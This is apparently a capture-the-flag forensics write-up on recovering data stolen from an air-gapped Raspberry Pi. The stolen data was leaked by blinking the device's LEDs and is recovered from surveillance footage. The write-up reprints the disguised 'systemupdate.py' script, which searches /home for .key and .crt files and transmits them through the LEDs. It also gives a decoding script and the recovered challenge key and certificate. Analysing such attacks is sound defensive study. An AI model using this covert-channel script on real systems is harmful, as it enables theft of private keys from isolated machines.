The Challenge

Oh shit.. (!) Our network has been compromised and data stored on an air-gaped device stolen but we don’t know exactly what has been extracted and how? We have 24/7 video surveillance in the server room and nobody has approached the device.. Here is all I have, could you please give us a hand?

forensic-data.zip

This challenge was labelled “misc” and “forensics”, and had 73 solves by the end of the competition.

TL;DR is at the end

The Solution

Naturally, the first thing I did was to examine the file we’re given.

Extracting the ZIP file, we can immediately see two things:

  • surveillance-camera42-2022.03.19_part8.mp4 - which appears to be surveillance camera footage
  • storage/ - which appears to contain the root directory of a Linux installation (identifiable by the directories /etc, /var, /usr, and so on)

Opening the video file, we see that this does appear to be surveillance camera footage, with the timestamp “burned in”, and the identifier “PRIMARY ROOT CA” flashing over the feed.
The camera is pointed directly at an SBC of some kind, likely a Raspberry Pi, sitting atop a network switch.

At first, it appears that the only non-static parts of the video are the flickering switch ports and the overlaid metadata; but if we scrub through the footage, we notice that the red LED on the SBC begins to blink, and so does an initially-hidden green LED right beside it.
The blinking starts around 7:03 and ends around 54:43.

Paying careful attention to the activity of the LEDs, we begin to notice a pattern: the red LED seems to blink on and off with a fairly consistent timing, whereas the green LED seems almost like a code of some kind.

There didn’t seem to be anything else in this video that was worth investigating, so we then turned our attention to the Linux root directory.

At first, I tried listing the files ordered by their last modified timestamps, but it seemed as though all the files were set to the exact same timestamp, so that wouldn’t reveal any useful information.
As luck would have it, I noticed that there was only a single file in /usr/bin/; namely, systemupdate.py.
This was odd; usually there are many system binaries in /usr/bin, or occasionally none at all, so I decided to open it up:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os
import time
import binascii

DELAY = 0.05

def init_leds():
    os.system("echo none > /sys/class/leds/led0/trigger")
    os.system("echo none > /sys/class/leds/led1/trigger")

def restore_leds():
    os.system("echo mmc0 > /sys/class/leds/led0/trigger")
    os.system("echo default-on > /sys/class/leds/led1/trigger")

def text_to_bits(text, encoding='utf-8', errors='surrogatepass'):
    bits = bin(int(binascii.hexlify(text.encode(encoding, errors)), 16))[2:]
    return bits.zfill(8 * ((len(bits) + 7) // 8))

def exfiltrate(data):
    stream = text_to_bits(data)
    for b in stream:
        if b=='0':
            os.system("echo 0 > /sys/class/leds/led0/brightness")
        else:
            os.system("echo 1 > /sys/class/leds/led0/brightness")

        time.sleep(DELAY)
        os.system("echo 1 > /sys/class/leds/led1/brightness")
        time.sleep(DELAY)
        os.system("echo 0 > /sys/class/leds/led1/brightness")
        time.sleep(DELAY)

def find_scret_file(path):
    files = []
    for r, d, f in os.walk(path):
        for file in f:
            if '.key' in file or '.crt' in file:
                files.append(os.path.join(r, file))

    for f in files:
        print("[+] Secret file discovered ({0}).. starting exfiltration".format(f))
        with open(f, 'r') as h:
            data = h.read()
        exfiltrate(data)

def main():

    init_leds()
    find_scret_file("/home")
    restore_leds()

if __name__ == '__main__':
    main()

Well, that certainly does not look like a typical “system update” script.

It appears as though this is a script that manipulates the LEDs of this device to exfiltrate data.
More specifically:

  1. It assumes direct control over the behavior of two LEDs: led0 and led1
  2. It encodes the contents of any .key or .crt files within /home into a bitstream
  3. It blinks led0 according to that bitstream, and blinks led1 according to a periodic clock of sorts
  4. It then resets the behavior of the LEDs to their (presumably) original behavior

Now, the blinking LEDs from the video begin to make sense: one LED is a signal “clock”, and the other encodes the data being exfiltrated.

Our stated goal is to discover exactly what the attackers were able to “extract”, so the first thing I did is check for any matching files in the directory tree we’re given:

$ find ./storage/home -iname "*.crt" -or -iname "*.key"
./storage/home/pi/private.key
./storage/home/pi/root-ca.crt

These look important - judging by the filenames I would expect these contain private keys that could be used by an attacker to forge digital signatures, among other things.
Let’s see what’s inside these files:

$ cat storage/home/pi/private.key
REDACTED
$ cat storage/home/pi/root-ca.crt
REDACTED

Oh. Well that’s annoying. Looks like the attackers also overwrote those files.

That means we probably have to retrieve the data the same way the attackers theoretically did: by decoding the bitstream from the surveillance footage.

Back to the video then. The first thing we need to do is determine which LED is the “clock”, and which is the “data”.
There are two indicators for this:

  1. Just watching the LEDs in the video, it appears as though the green LED blinks erratically and the red LED blinks fairly regularly
  2. Looking at the restore_leds() function from the exfil script, we can see that led1 is set to a default-on state, whereas led0 is set to blink according to the activity of the flash storage. We can then compare these names to the names used in the exfiltrate() function.

Both of these indicators point to the fact that the green LED encodes the data, and the red LED encodes a “clock signal” (which is immensely helpful for trying to decode the bitstream!)

At this point, there seems to be a single path forward: use what we’ve determined so far to pragmatically decode the data from those LEDs.

Allegedly, there are scripts online that can do this for you, but I figured I may as well write a script myself.

The first step, however, is to extract only the required area of the video for processing: this way, our script has to process multiple orders of magnitude less video data (which is important when there are ~180000 frames to go through).

After a few many attempts, I ended up with the following ffmpeg command to crop the video down to a 40x20 region containing just the two LEDs, and while we’re at it, cut off the start of the video where there is no activity:

$ ffmpeg -ss '6:59' -i surveillance-camera42-2022.03.19_part8.mp4 -filter:v "crop=40:20:710:545" -c:v ffv1 preprocessed.mkv

After that’s complete, we can take a look at the Python script I wrote for decoding the video frames into a bitstream. This took “quite a few” iterations before it worked correctly.

Note: this script requires Pillow and PyAV

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from PIL.Image import Image
import av


FILENAME = "preprocessed.mkv"
RED_THRESHOLD_HIGH = 230
RED_THRESHOLD_LOW = 190
GREEN_THRESHOLD = 210


container = av.open(FILENAME)

encoded_bitstream: list[bool] = []

# clock starts on
last_state_red = True

for frame in container.decode(video=0):
    img: Image = frame.to_image()

    rval = img.getpixel((25, 10))[0]

    # clock: high -> low
    if last_state_red and rval <= RED_THRESHOLD_LOW:
        last_state_red = False
    # clock: low -> high
    if (not last_state_red) and rval >= RED_THRESHOLD_HIGH:
        last_state_red = True

        # read and store the value
        encoded_bitstream.append(img.getpixel((7, 9))[1] >= GREEN_THRESHOLD)

text_bitstream = ''.join("1" if x else "0" for x in encoded_bitstream)

with open("decoded-bistream.txt", mode='w') as f:
	f.write(text_bitstream)

Sidenote: at first, I attempted to reverse the steps that the exfil script took to turn the bits back into files; it was only after about 20 minutes of trying to get it to work that I realized the bitstream is actually just the raw bytes of the files!

Running this script takes about 20 seconds On My Machine™, after which we can copy the result into our clipboard using this command (or a boring text editor, if you prefer):

$ xclip -selection clipboard decoded-bistream.txt

In theory, we should be able to paste this into CyberChef, drag-and-drop “From Binary” into the recipe, and voila, there’s our original file data.
Unfortunately, my script seems to have missed three bits from the video, which each mangle the data that comes after it (because it ruins the byte-alignment).

I tried tweaking the thresholds and parameters, but I couldn’t find values that seemed to work any better.

The good news is, we can easily see roughly where the missing bit is based on the fact that the original files are both base64-encoded, and CyberChef helpfully highlights the corresponding input/output if you highlight part of the text.

So, I spent another half an hour fiddling with adding bits in semi-random places, trying to recover the original bitstream.
Eventually I end up with something like the following:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,3DCC451E9205CCE3

nDrRqGRPQ2/ngMd3+93aVspUPtLszfEqmBMdY7FGwDOzjR4qW/TAvGutNj5BNNkM
4P1D4+3wNo0vnNCzgBw+MCS6J5Ipo7SV/Gvcg+Y0vzroOdp3q7Qw6FJP0BdCW2y5
khy6K52JwLjfLnekpBGMA/3fl3pzOgKthQqYllFLrJBeNCo8BFSn/PN80oucpBXv
V+F4aFs57dkoPwCvoB7djmLfpTRCOr0j2PeaqKrUq975nt4Ot+iXy6AURCIt7Z9m
sCxU8bwMHIwUqok/VI39UzGO5xTWp1ffrYR1jaDD6WlGSe2duPeG/zeM60E1R8nP
gZpR1zKpH8QOBuVC433glT5LXqfstPmt7MDwnTawkABvFYIElm4Guegm7NdQSPj/
jAXbZRc5Ww7pt2oFcwzW+uXBYEF2g92rxtUDW0wmgTduNASz59OnYEOr5Ly7NQnh
3V+Vcsrgc4Aowi1z6kCpvHoA4Cg7kZanpNguQ6NeXsCNr94P795ffhuRuXOPnwte
pkEpEplOFLOhJgHST/6ACoiJCc4nYuyKBoH07zJ7WHktryT/655EINwuBx5mVoye
2DykTBypxrcJedPBKxSWmAOOY0QnNMABZsOzgPR9wh/uIEw/zInkdTNN0iYpF8TX
EFY0uBjj7IzDQ10Sb9dcnFRB4AFuqOA7GOhh0U7VxZlhtT6UzSb/O+/smNwOD4IU
qj8LVnaZMVW4MmBbEKzsKOGhOvLHrfLVIBFdn5hTHamwS2H87UVXMLtFFPrFz6JC
zHbOb6I2f7gHzvJJPvB4eSMwAZw/iSpRoyJG7PwIKQsb6/GauV7Rfw==
-----END RSA PRIVATE KEY-----
----BEGIN CERTIFICATE-----
MIIDHDCCAoWgAwIBAgIUTIdoG+aad3eIE+iXDUKZCohVKkQwDQYJKoTIhvcNAQEL
BQAwgZ8xCzAJBgNVBAYTAkNIMQ8wDQYDVQQIDAZHZW5ldmExEDAOBgNVBAcMB1Bh
bGV4cG8xFTATBgNVBAoMDEluc29tbmknaGFjazEhMB8GA1UECwwYSU5Te0Y0ckZy
MG0kcDMzZDBmTDFnaHR9MQ4wDAYDVQQDDAVLZXZpbjEjMCEGCSqGSIb3DQEJARYU
a2V2aW5AaW5zb21uaWhhY2suY2gwHhcNMjAwMzAzMTYxOTE1WhcNMjIxMjIyMTYx
OTE1WjCBnzELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEQMA4GA1UEBwwH
UGFsZXhwbzEVMBMGA1UECgwMSW5zb21uaSdoYWNrMSEwHwYDVQQLDBhJTlN7RjRy
RnIwbSRwMzNkMGZMMWdodH0xDjAMBgNVBAMMBUtldmluMSMwIQYJKoZIhvcNAQkB
FhRrZXZpbkBpbnNvbW5paGFjay5jaDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
gYEAxx9oaesqRe4b0wLER6ppALJYrm5qrWu/uqzgy7qjpDKg5BBSl5F+Y2TgwS09
pW5tBylKr92DES19o4cm/8g1wa0iZ9BDeSvbn8g+rTLGHTgctMW2wUg/SMQ9j/G7
nyr5oMiPkJ69kz1We83RJofCK1w8QZVr7UAwDlC1rR6V1gkCAwEAAaNTMFEwHQYD
VR0OBBYEFA130/zdKufEuzcn+cCVwoO84z7iMB8GA1UdIwQYMBaAFA130/zdKufE
uzcn+cCVwoO84z7iMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEA
k0guKE9tSrNYUyeAEsXba15SV0TGg6n+QCD/Co0XvDo7D2yKEfSMnDfjMkv+39E+
U//PN4LT/R6xl2XdqQV1Rk0tFHTrHRzQps/ispaR3lC3VLkx8/KK05eSvKMr1C80
4jzMs6Qw6bT8Dj83eMfjizl3tlE997DgGpruRaOaEOE=
-----END CERTIFICATE-----

The first block is private.key, which is usually the more important of the two (being an actual secret). In this case, however, we’re looking for a flag; and as far as I can tell, this key file doesn’t contain one (decoding it just results in binary gibberish).
The second block is cert.pem, which is usually a certificate of some kind. I wasted some time trying to get the bitstream just right so that I could get OpenSSL to read the certificate, but after getting frustrated with that, I tried decoding the base64 contents:

There it is. They even put it in there twice, so most of that bit-fiddling was for nothing.

TL;DR

  1. Write video-processing script to decode green LED pattern with red LED clock
    (based off of storage/usr/bin/systemupdate.py)
  2. Fiddle with the recovered bitstream a bit to get valid-ish base64
  3. Decode the base64 to get the flag